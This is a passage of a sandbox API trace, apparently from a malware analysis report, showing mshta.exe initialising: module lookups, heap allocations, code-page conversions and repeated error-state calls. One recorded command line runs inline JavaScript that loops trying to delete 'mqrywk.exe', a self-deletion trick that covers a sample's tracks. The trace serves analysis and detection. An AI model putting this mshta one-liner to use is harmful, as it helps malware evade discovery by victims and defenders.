lpProcName="DecodePointer") returned 0x77359d35 [0028.606] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.606] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.606] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.606] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.606] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.607] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.607] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.607] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.607] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.607] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.607] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.607] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.607] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.607] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.607] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x214) returned 0x5507d0 [0028.608] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.608] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.608] GetModuleHandleW (lpModuleName="KERNELBASE.DLL") returned 0x75410000 [0028.608] GetProcAddress (hModule=0x75410000, lpProcName="EncodePointer") returned 0x77360fcb [0028.608] GetProcAddress (hModule=0x75410000, lpProcName="DecodePointer") returned 0x77359d35 [0028.608] GetStartupInfoA (in: lpStartupInfo=0x40fd5c | out: lpStartupInfo=0x40fd5c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\mshta.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0028.608] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x8, Size=0x480) returned 0x5509f0 [0028.608] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0028.608] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0028.608] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0028.608] SetHandleCount (uNumber=0x20) returned 0x20 [0028.608] GetCommandLineA () returned="mshta.exe \"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);\"" [0028.608] GetEnvironmentStringsW () returned 0x760260* [0028.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0028.608] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x565) returned 0x550e78 [0028.608] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x550e78, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0028.608] FreeEnvironmentStringsW (penv=0x760260) returned 1 [0028.608] GetLastError () returned 0x0 [0028.609] SetLastError (dwErrCode=0x0) [0028.609] GetLastError () returned 0x0 [0028.609] SetLastError (dwErrCode=0x0) [0028.609] GetLastError () returned 0x0 [0028.609] SetLastError (dwErrCode=0x0) [0028.609] GetACP () returned 0x4e4 [0028.609] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x220) returned 0x5513e8 [0028.609] GetLastError () returned 0x0 [0028.609] SetLastError (dwErrCode=0x0) [0028.609] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x40fd34 | out: lpCPInfo=0x40fd34) returned 1 [0028.609] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x40f800 | out: lpCPInfo=0x40f800) returned 1 [0028.609] GetLastError () returned 0x0 [0028.609] SetLastError (dwErrCode=0x0) [0028.609] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x40f790 | out: lpCharType=0x40f790) returned 1 [0028.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40fc14, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0028.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40fc14, cbMultiByte=256, lpWideCharStr=0x40f578, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0028.609] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x40f814 | out: lpCharType=0x40f814) returned 1 [0028.609] GetLastError () returned 0x0 [0028.609] SetLastError (dwErrCode=0x0) [0028.609] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0028.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40fc14, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0028.609] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40fc14, cbMultiByte=256, lpWideCharStr=0x40f518, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ殲쇕溂Øリ삑Ā") returned 256 [0028.609] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ殲쇕溂Øリ삑Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0028.609] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ殲쇕溂Øリ삑Ā", cchSrc=256, lpDestStr=0x40f308, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0028.609] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x40fb14, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9e:\x91ÀLý@", lpUsedDefaultChar=0x0) returned 256 [0028.609] GetLastError () returned 0x0 [0028.610] SetLastError (dwErrCode=0x0) [0028.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40fc14, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0028.610] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x40fc14, cbMultiByte=256, lpWideCharStr=0x40f538, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ殲쇕溂Ø《삑Ā") returned 256 [0028.610] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ殲쇕溂Ø《삑Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0028.610] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ殲쇕溂Ø《삑Ā", cchSrc=256, lpDestStr=0x40f328, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0028.610] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x40fa14, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x9e:\x91ÀLý@", lpUsedDefaultChar=0x0) returned 256 [0028.610] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xd8b0f0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0028.610] GetLastError () returned 0x0 [0028.610] SetLastError (dwErrCode=0x0) [0028.610] GetLastError () returned 0x0 [0028.610] SetLastError (dwErrCode=0x0) [0028.610] GetLastError () returned 0x0 [0028.610] SetLastError (dwErrCode=0x0) [0028.610] GetLastError () returned 0x0 [0028.610] SetLastError (dwErrCode=0x0) [0028.610] GetLastError () returned 0x0 [0028.610] SetLastError (dwErrCode=0x0) [0028.610] GetLastError () returned 0x0 [0028.610] SetLastError (dwErrCode=0x0) [0028.610] GetLastError () returned 0x0 [0028.610] SetLastError (dwErrCode=0x0) [0028.610] GetLastError () returned 0x0 [0028.611] SetLastError (dwErrCode=0x0) [0028.611] GetLastError () returned 0x0 [0028.611] SetLastError (dwErrCode=0x0) [0028.611] GetLastError () returned 0x0 [0028.611] SetLastError (dwErrCode=0x0) [0028.611] GetLastError () returned 0x0 [0028.611] SetLastError (dwErrCode=0x0) [0028.611] GetLastError () returned 0x0 [0028.611] SetLastError (dwErrCode=0x0) [0028.611] GetLastError () returned 0x0 [0028.611] SetLastError (dwErrCode=0x0) [0028.611] GetLastError () returned 0x0 [0028.611] SetLastError (dwErrCode=0x0) [0028.611] GetLastError () returned 0x0 [0028.611] SetLastError (dwErrCode=0x0) [0028.611] GetLastError () returned 0x0 [0028.611] SetLastError (dwErrCode=0x0) [0028.611] GetLastError () returned 0x0 [0028.611] SetLastError (dwErrCode=0x0) [0028.611] GetLastError () returned 0x0 [0028.611] SetLastError (dwErrCode=0x0) [0028.611] GetLastError () returned 0x0 [0028.612] SetLastError (dwErrCode=0x0) [0028.612] GetLastError () returned 0x0 [0028.612] SetLastError (dwErrCode=0x0) [0028.612] GetLastError () returned 0x0 [0028.612] SetLastError (dwErrCode=0x0) [0028.612] GetLastError () returned 0x0 [0028.612] SetLastError (dwErrCode=0x0) [0028.612] GetLastError () returned 0x0 [0028.612] SetLastError (dwErrCode=0x0) [0028.612] GetLastError () returned 0x0 [0028.612] SetLastError (dwErrCode=0x0) [0028.612] GetLastError () returned 0x0 [0028.612] SetLastError (dwErrCode=0x0) [0028.612] GetLastError () returned 0x0 [0028.612] SetLastError (dwErrCode=0x0) [0028.612] GetLastError () returned 0x0 [0028.612] SetLastError (dwErrCode=0x0) [0028.612] GetLastError () returned 0x0 [0028.612] SetLastError (dwErrCode=0x0) [0028.612] GetLastError () returned 0x0 [0028.612] SetLastError (dwErrCode=0x0) [0028.612] GetLastError () returned 0x0 [0028.613] SetLastError (dwErrCode=0x0) [0028.613] GetLastError () returned 0x0 [0028.621] SetLastError (dwErrCode=0x0) [0028.621] GetLastError () returned 0x0 [0028.621] SetLastError (dwErrCode=0x0) [0028.621] GetLastError () returned 0x0 [0028.622] SetLastError (dwErrCode=0x0) [0028.622] GetLastError () returned 0x0 [0028.622] SetLastError (dwErrCode=0x0) [0028.622] GetLastError () returned 0x0 [0028.622] SetLastError (dwErrCode=0x0) [0028.622] GetLastError () returned 0x0 [0028.622] SetLastError (dwErrCode=0x0) [0028.622] GetLastError () returned 0x0 [0028.622] SetLastError (dwErrCode=0x0) [0028.622] GetLastError () returned 0x0 [0028.622] SetLastError (dwErrCode=0x0) [0028.622] GetLastError () returned 0x0 [0028.622] SetLastError (dwErrCode=0x0) [0028.622] GetLastError () returned 0x0 [0028.622] SetLastError (dwErrCode=0x0) [0028.622] GetLastError () returned 0x0 [0028.622] SetLastError (dwErrCode=0x0) [0028.622] GetLastError () returned 0x0 [0028.622] SetLastError (dwErrCode=0x0) [0028.622] GetLastError () returned 0x0 [0028.622] SetLastError (dwErrCode=0x0) [0028.622] GetLastError () returned 0x0 [0028.622] SetLastError (dwErrCode=0x0) [0028.623] GetLastError () returned 0x0 [0028.623] SetLastError (dwErrCode=0x0) [0028.623] GetLastError () returned 0x0 [0028.623] SetLastError (dwErrCode=0x0) [0028.623] GetLastError () returned 0x0 [0028.623] SetLastError (dwErrCode=0x0) [0028.623] GetLastError () returned 0x0 [0028.623] SetLastError (dwErrCode=0x0) [0028.623] GetLastError () returned 0x0 [0028.623] SetLastError (dwErrCode=0x0) [0028.623] GetLastError () returned 0x0 [0028.623] SetLastError (dwErrCode=0x0) [0028.623] GetLastError () returned 0x0 [0028.623] SetLastError (dwErrCode=0x0) [0028.623] GetLastError () returned 0x0 [0028.623] SetLastError (dwErrCode=0x0) [0028.623] GetLastError () returned 0x0 [0028.623] SetLastError (dwErrCode=0x0) [0028.623] GetLastError () returned 0x0 [0028.623] SetLastError (dwErrCode=0x0) [0028.623] GetLastError () returned 0x0 [0028.623] SetLastError (dwErrCode=0x0) [0028.623] GetLastError () returned 0x0 [0028.624] SetLastError (dwErrCode=0x0) [0028.624] GetLastError () returned 0x0 [0028.624] SetLastError (dwErrCode=0x0) [0028.624] GetLastError () returned 0x0 [0028.624] SetLastError (dwErrCode=0x0) [0028.624] GetLastError () returned 0x0 [0028.624] SetLastError (dwErrCode=0x0) [0028.624] GetLastError () returned 0x0 [0028.624] SetLastError (dwErrCode=0x0) [0028.624] GetLastError () returned 0x0 [0028.624] SetLastError (dwErrCode=0x0) [0028.624] GetLastError () returned 0x0 [0028.624] SetLastError (dwErrCode=0x0) [0028.624] GetLastError () returned 0x0 [0028.624] SetLastError (dwErrCode=0x0) [0028.624] GetLastError () returned 0x0 [0028.624] SetLastError (dwErrCode=0x0) [0028.624] GetLastError () returned 0x0 [0028.624] SetLastError (dwErrCode=0x0) [0028.624] GetLastError () returned 0x0 [0028.624] SetLastError (dwErrCode=0x0) [0028.624] GetLastError () returned 0x0 [0028.625] SetLastError (dwErrCode=0x0) [0028.625] GetLastError () returned 0x0 [0028.625] SetLastError (dwErrCode=0x0) [0028.625] GetLastError () returned 0x0 [0028.625] SetLastError (dwErrCode=0x0) [0028.625] GetLastError () returned 0x0 [0028.625] SetLastError (dwErrCode=0x0) [0028.625] GetLastError () returned 0x0 [0028.625] SetLastError (dwErrCode=0x0) [0028.625] GetLastError () returned 0x0 [0028.625] SetLastError (dwErrCode=0x0) [0028.625] GetLastError () returned 0x0 [0028.625] SetLastError (dwErrCode=0x0) [0028.625] GetLastError () returned 0x0 [0028.625] SetLastError (dwErrCode=0x0) [0028.625] GetLastError () returned 0x0 [0028.625] SetLastError (dwErrCode=0x0) [0028.625] GetLastError () returned 0x0 [0028.625] SetLastError (dwErrCode=0x0) [0028.625] GetLastError () returned 0x0 [0028.625] SetLastError (dwErrCode=0x0) [0028.625] GetLastError () returned 0x0 [0028.626] SetLastError (dwErrCode=0x0) [0028.626] GetLastError () returned 0x0 [0028.626] SetLastError (dwErrCode=0x0) [0028.626] GetLastError () returned 0x0 [0028.626] SetLastError (dwErrCode=0x0) [0028.626] GetLastError () returned 0x0 [0028.626] SetLastError (dwErrCode=0x0) [0028.626] GetLastError () returned 0x0 [0028.626] SetLastError (dwErrCode=0x0) [0028.626] GetLastError () returned 0x0 [0028.626] SetLastError (dwErrCode=0x0) [0028.626] GetLastError () returned 0x0 [0028.626] SetLastError (dwErrCode=0x0) [0028.626] GetLastError () returned 0x0 [0028.626] SetLastError (dwErrCode=0x0) [0028.626] GetLastError () returned 0x0 [0028.626] SetLastError (dwErrCode=0x0) [0028.626] GetLastError () returned 0x0 [0028.626] SetLastError (dwErrCode=0x0) [0028.626] GetLastError () returned 0x0 [0028.626] SetLastError (dwErrCode=0x0) [0028.626] GetLastError () returned 0x0 [0028.627] SetLastError (dwErrCode=0x0) [0028.627] GetLastError () returned 0x0 [0028.627] SetLastError 